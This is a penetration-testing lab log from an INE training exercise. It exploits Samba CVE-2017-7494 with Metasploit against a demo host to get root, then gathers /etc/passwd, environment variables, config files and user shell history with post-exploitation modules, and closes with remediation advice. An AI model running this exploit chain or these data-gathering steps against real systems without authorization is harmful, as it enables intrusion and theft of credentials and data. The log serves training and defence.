2025-11-17 / Log: linux_post_exploitation_modules

Linux Post-Exploitation Modules

Linux Post-Exploitation Modules

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (192.30.245.3) — Unix, Samba
Objective: Exploit the file-sharing service and profile the host with post-exploitation modules.

1. Executive Summary

After exploiting Samba (is_known_pipename, CVE-2017-7494) for a root shell and upgrading to Meterpreter, we tour the Linux post-exploitation toolkit: built-in enumeration commands plus post/linux/gather/* and post/multi/gather/* modules that collect config files, environment variables, network details, hardening protections, system info, container/VM status and user history.

2. Recon & Exploitation

ping -c 4 demo.ine.local
db_nmap -sV 192.30.245.3
services

Ping target

MSF global variables

Nmap scan

services — Samba on 139/445

use exploit/linux/samba/is_known_pipename
set RHOSTS 192.30.245.3
run        # root command shell

is_known_pipename — root shell

Upgrading to Meterpreter.

sessions -u 1

Upgrading the session (1)

Meterpreter session (2)

3. Built-in Enumeration

sysinfo ; getuid

sysinfo / getuid

shell
/bin/bash -i

Interactive shell

whoami ; cat /etc/passwd

whoami / /etc/passwd

groups <user> ; cat /etc/*issue

groups / distribution

uname -r ; uname -a

uname -r / -a

ip a s ; ps aux

ip a s / ps aux

env

env

4. Post-Exploitation Modules

run post/linux/gather/enum_configs       # config files

enum_configs

loot

loot

run post/multi/gather/env                # environment variables

multi/gather/env

run post/linux/gather/enum_network       # network info

enum_network

DNS configuration from enum_network

run post/linux/gather/enum_protections   # hardening mechanisms

enum_protections

Results are stored in notes.

notes

notes

run post/linux/gather/enum_system        # system info

enum_system

run post/linux/gather/checkcontainer     # container detection

checkcontainer

run post/linux/gather/checkvm            # VM detection

checkvm

run post/linux/gather/enum_users_history # shell/user history

enum_users_history (1)

enum_users_history (2)

5. Notes & Remediation

  1. Patch Samba (CVE-2017-7494) to prevent the initial RCE.
  2. Post-exploitation enumeration (configs, network, history) accelerates lateral movement — monitor for mass gathering and protect sensitive config/history files.
  3. Apply least privilege so a service compromise doesn’t immediately yield root.